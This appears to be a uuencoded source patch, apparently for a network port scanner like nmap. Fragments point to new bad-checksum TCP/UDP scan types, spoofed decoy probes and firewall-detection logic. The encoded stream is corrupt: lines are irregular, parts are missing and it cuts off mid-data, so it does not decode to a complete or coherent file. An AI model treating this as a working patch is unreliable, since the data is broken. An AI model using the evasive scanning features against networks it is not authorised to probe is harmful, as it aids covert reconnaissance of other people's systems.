M86X@?'P@;RYF:6YS8V%N('Q\(&\N;6%I;6]N&UAPH@"2`@:68@*&\N4V]U&UA6]U(&%R92!T&UA7!E'!EPH@("!C87-E(%!/4E1?3U!%3CH@PI` M0"`M,C8Q+#$R("LR-C$L,38@0$`*(`H@("!I9B`H<&QI7!E(#T](%A-05-?4T-!3BD@7!E(#T]($9)3E]30T%.*2!S8V%N9FQA9W,@/2!42%]&24X[ M"BL@(&5L7!E(#T]($)!1%1#4%]30T%.*2!S8V%N9FQA M9W,@/2!42%]364X["B`@(&5L7!E(#T]($U!24U/3E]3 M0T%.*2!S8V%N9FQA9W,@/2!42%]&24Y\5$A?04-+.PHM("!E;'-E(&EF("AS M8V%N='EP92`A/2!51%!?4T-!3B`F)B!S8V%N='EP92`A/2!)4%!23U1?4T-! M3BD@>PHK("!E;'-E(&EF("AS8V%N='EP92$]54107U-#04X@)B8@7!E(3U"04151%!?4T-!3BD@>PH@ M("`@(&9A=&%L*")5;FMN;W=N('-C86X@='EP92!F;W(@7!E/3U" M04151%!?4T-!3BD*(`D)("!S96YD7W5D<%]R87=?9&5C;WES*')A=W-D+"!T M87)G970M/G8T:&]S=&EP*"DL(&DL"B`)"0D)("`@("`@8W5R6QO860L(&\N97AT2`F)@HM"0D@("`@*'-C86YT>7!E(#T](%5$4%]30T%.('Q\('-C M86YT>7!E(#T]($E04%)/5%]30T%.*2D**PD)("`@("AS8V%N='EP93T]5410 M7U-#04X@?'P@7!E/3U) M4%!23U1?4T-!3BDI"B`)"2`@=7-L965P*'-E;F1D96QA>2D["B`)("`@("`@ M?0H@"2`@("!]"D!`("TQ-#(P+#<@*S$T,C$L-R!`0`H@"2`@("!G971T:6UE M;V9D87DH)F-U7!E/3U51%!? M4T-!3B!\?"!S8V%N='EP93T]0D%$54107U-#04XI"B`)("`@("`@'1R85]P87EL;V%D7VQE;F=T:"D["B`)("`@(&5L7!E(#T]($E04%)/5%]30T%.*0I`0"`M,30S,"PW("LQ-#,Q+#<@ M0$`*(`D@("`@("!S96YD7W1C<%]R87=?9&5C;WES*')A=W-D+"!T87)G970M M/G8T:&]S=&EP*"DL(&\N;6%G:6-?<&]R="P@"B`)"0D)("!C=7)R96YT+3YP M;W)T;F\L(#`L(#`L('-C86YF;&%G'1R85]P87EL;V%D7VQE;F=T:"D["BT)("`@ M(&EF("@H7!E/3U"04151%!?4T-!3B!\?"!S8V%N='EP93T]25!04D]47U-# M04XI("8F"B`)"7-E;F1D96QA>2D*(`D@("`@("!UPI`0"`M,34S-"PV("LQ-3,X M+#@@0$`*(`D)("!C87-E(#(Z("\J('!R,'0P8S!L('5N7!E/3U"04140U!?4T-! M3BD@>PHK"0D@("`@("`@(&YE=W-T871E(#T@4$]25%]&25)%1#L*(`D)("`@ M('T@96QS90H@"0D@("`@("!N97=S=&%T92`](%!/4E1?1DE215=!3$Q%1#L* M(`D)("`@(&)R96%K.PI`0"`M,34T,2PQ,B`K,34T-RPQ."!`0`H@"0D@(&-A M7!E/3U"04140U!?4T-!3BD@>PHK"0D@("`@("`@(&YE=W-T M871E(#T@4$]25%]&25)%1#L**PD)("`@('T@96QS90HK"0D@("`@("`@(&YE M=W-T871E(#T@4$]25%]&25)%5T%,3$5$.PH@"0D@("`@8G)E86L["B`)"2`@ M"B`)"2`@8V%S92`Y.@H@"0D@(&-A2!P7!E/3U"04151%!?4T-!3B!\?"!S8V%N='EP93T]0D%$5$-0 M7U-#04XI"BL)"2`@("`@(&YE=W-T871E(#T@4$]25%]&25)%1#L**PD)("`@ M(&5LPHK"0EI9B`H*&-UPH@"0D@('1A2D@ M2`J(#(L(#$P,#`P,#`I.PH@"0D@("`@("!I9B`H7!E/3U"04151%!?4T-!3B!\?"!S8V%N M='EP93T]25!04D]47U-#04XI*0H@"0D);6%X7W=I9'1H(#T@34E.*&UA>%]W M:61T:"PR*3L*(`D)("`@("`@9G)E7!E/3U51%!?4T-!3B!\ M?"!S8V%N='EP93T]0D%$54107U-#04X@?'P@'0@/2!C=7)R96YT+3YP7!E/3U"04151%!?4T-!3BD_($E04%)/5$]?5410 M(#H*(`D)"2`@*'-C86YT>7!E(#T]($E04%)/5%]30T%./R!)4%!23U1/7TE0 M.B!)4%!23U1/7U1#4"DL(`H@"0D)3E5,3"P@8W5RPHK("`@(&EF("@H7!E/3U"04151%!?4T-!3BD@)B8@8VAA;F=E9"`F)B`H=')I M97,@*R`Q*2`\(#$P,"D@>PH@("`@("`@:68@*&\N9&5B=6=G:6YG*2!["B`) M;&]G7W=R:71E*$Q/1U]35$1/550L(")3;&5E<&EN9R!F;W(@,2\R('-E8V]N M9"!T;R!O=F5R8V]M92!)0TU0(&5R7!E/3U"04151%!? M4T-!3BD@)B8@=')I97,^/3`I"BL@("`@("!B7!E(#T]($E04%)/5%]30T%.*0H@ M("`@("`@861D<&]R="@F=&%R9V5T+3YP;W)T7!E("$](%5$4%]30T%.*0HK("`@(&5L7!E M(#T]($)!1%1#4%]30T%.*0HK("`@("`@861D<&]R="@F=&%R9V5T+3YP;W)T M7!E(#T]($)!1%5$ M4%]30T%.*0HK("`@("`@861D<&]R="@F=&%R9V5T+3YP;W)T7!E(3U51%!?4T-!3BD*("`@("`@ M(&%D9'!O2!D971E8W1E9"DB*3L**R`@?0HK M("`*("`@+RH@4W5P97(@R`@("`*("`@("!I9B`HPH@ M"6EF("AO+G9E&UAPHK"2`@("`@;RYU M9'!S8V%N('Q\(&\N;W-S8V%N('Q\(&\N=VEN9&]WPH@"2`@&9F9F8I.R`@("`O*B!A9&0@:&EG:"TQ-B!T;R!L;W